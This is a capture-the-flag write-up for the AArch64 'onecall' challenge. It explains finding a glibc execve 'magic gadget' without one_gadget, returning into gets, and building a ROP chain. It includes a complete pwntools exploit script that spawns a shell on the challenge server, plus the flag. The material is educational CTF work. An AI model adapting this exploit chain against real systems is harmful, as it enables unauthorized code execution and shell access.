onecall

Damnit, I tried that gem and it didn’t work… Can you get a shell for me ? Difficulty: Easy-ish

The challlenge comes in an archive containing the target Aarch64 ELF binary, the necessary libc and ld binaries to link with, a copy of qemu-aarch64 to run locally, and a script to demonstrate how it’s ran.

You can get my copy of the archive from here.

If you follow along with the same familiarity I had, I suggest using the -g flag in qemu-aarch64 to allow you to attach gdb-multiarch for debugging.

What Are Magic Gadgets?

The premise of the challenges’ title is that with a single function call, you’re supposed to be able to get a shell. The gem mentioned is likely one_gadget, a tool written in Ruby to cough up a “magic gadget” for a given libc. These magic gadgets are a huge help if you can control the program counter after leaking the position of libc, because without any other setup you essentially land on one and immediately have a shell. Neat, isn’t it?

The tool and all others I’ve seen like it had been written with x86/x64 in mind however, which sadly doesn’t translate into the same effectiveness in the ARM/Aarch64 architectures, where registers are loaded with arguments differently. So that means to do this challenge, you’d have to find your own magic gadget manually. Thankfully, the basic idea covered here is largely the same still, since it’s still glibc you’re abusing.

Some Notes On Aarch64

This challenge served as a reason for me to actually read some of the ARMv8 manual, just so I could understand a portion of what I was reading in the disassembly. I also took the time to read some articles and watch a video mentioning some of the changes made between the good ol’ 32-bit ARM I was used to and the newer Aarch64. In all, a lot of changes were made to the architecture. I had come to miss plenty of features in the older architecture, like instructions that’d operate on an arbitrary number of registers, straightforward PUSH/POP instructions that’d do the same, writing directly into the program counter, and 16-bit Thumb-mode.

Instead of functions ending with a POP instruction that moves several pieces of data off of the stack and into the registers, you’ll likely only ever see registers loaded in pairs on the newer ARM. Storing registers in pairs isn’t uncommon either, and neither is separating the loading of variables’ higher order base addresses and their lower order offsets (though I suspect there might be a specific architectural reason for this).

Also without a Thumb mode, you can’t double your possibilities for instructions and ROP gadgets for free by branching into an alternate instruction set. ALL instructions are aligned 32-bit, and a fault gets raised anytime the program counter isn’t following said alignment.

But although the challenge is made somewhat harder, it’s still plenty possible.

Initial Analysis

I used Radare2 for all of my disassembly during the CTF.

r2 -A onecall
VV
s main

Main procedure

The target binary itself is fairly simple. First, it reads out its own /proc/self/maps file, showing all of the binaries mapped into its process, as well as their addresses. Most of the file is then written to standard output where we can read it, before we give 8 bytes to read() for the program counter to branch to through the x1 register.

Branching from x1

With most of the mappings available, and immediate control of the program counter, we can then look for the magic gadget for the given libc, and try to get our shell.

Finding the Magic Gadget

The last magic gadget I had used in glibc game from a specific part of system. The lines of source that read…

#define SHELL_PATH      "/bin/sh"       /* Path of the shell.  */
...
(void) __execve (SHELL_PATH, (char *const *) new_argv, __environ); //<-- Look in do_system()

By returning right into where the argument setup and call occurs for this line of code, we ought to manage getting our shell. To find it, you can first find "/bin/sh", and then find where it’s referenced in __libc_system.

r2 -A lib/libc.so.6 #This can take a second.
/ /bin/sh
#Observe the base offset of 0x117000
#And then you can look through all of the calls to execve in __libc_system. I got one.
axt sym.execve ~__libc_system

Here lies the magic gadget.

You probably won’t get a direct hit in searching for xrefs to the string (perhaps because of how the architecture has to do its referencing now) but the match still isn’t too hard to find by glancing between the source and the disassembly.

Notice though the store operation that happens right before loading x2 in our lovely gadget. During actual execution, this x20 register gets set somewhere I wasn’t able to track down, but it needs to be set somewhere safe before the execution can continue.

Workaround

It took me a long time to figure the right workaround was to return into gets while the x0 register still points to the stack. Then you can write onto the stack all of the necessary data pointers and return addresses necessary to do Return Oriented Programming.

I used ROPgadget to come across the gadget I used to move x20 in my exploit, and found that although the stack wasn’t leaked directly by the /proc/self/maps read, the very last line of output does have a consistent offset from the stack you get to see in GDB. This I felt was much better than pointing into libc’s data section, or any other writable mapping I took notice of.

The Exploit

I shifted x20 to a safe stack address used in the original program, and jumped into the magic gadget so that I could enjoy the shell. The slightly cleaned up exploit follows.

#!/usr/bin/python

from pwn import *

DEBUG = False

def getpipe():
    if DEBUG: #Attach debugger.
        return process(['./qemu-aarch64', '-nx', '-L', './', '-g', '12345', './onecall'])
    else:
        return remote('onecall.teaser.insomnihack.ch',1337)

libc_name = "./lib/libc.so.6"
libc = ELF(libc_name)

gets = libc.symbols['gets']

magic_gadget_offset = 0x3d718

p = getpipe()

output = ""
line = p.recvline()
output += line
while "libc" not in line:
    line = p.recvline()
    output += line
output += line
output += p.recvuntil(" here ?")

libc_base = int(line.split('-')[0], 16)

#Initialize ROP
p.send(p64(libc_base + gets))

#For GDB
print "Gets returns @", hex(libc_base+0x000604c8) 

binsh = libc_base + 0x1179a0

#0x0003d7f0      f353c3a8       ldp x19, x20, [sp], 0x30; ret
#What does this do? I took a guess, and tried it.
loadtox20 = libc_base + 0x3d7f0

#For GDB
print "Loading gadget @", hex(loadtox20)

#last region in /proc/self/maps
#00007f38241b9000
#$sp after blr x1 in same run
#00007f38249b8630

memaddr = int(output.split('\n')[-3].split('-')[0], 16) #Consistent offset of 0x7ff630? Yep.
stkbase = memaddr + 0x7ff630 #Here should be a pointer to the filler in our stack.
saferw = stkbase

#Build rop chain. Don't need precision when you can just spray.
ropchain = flat([
    loadtox20-4, #Trying to move x20 to point to stack, load [sp, #16] into x30 for ret
    libc_base + magic_gadget_offset,
    saferw, #For pivoting x20 somewhere safe, throw it up real high
    libc_base+magic_gadget_offset, 
    saferw, saferw, saferw, 
    saferw,saferw, saferw, saferw, saferw,saferw, saferw, saferw, saferw
    ], word_size=64)


payload = "AAAAAAAA"*2 #Filler
payload += ropchain

p.sendline(payload)
p.interactive()

#INS{did_you_gets_here_by_chance?}
Contact : ntropy.unc@gmail.com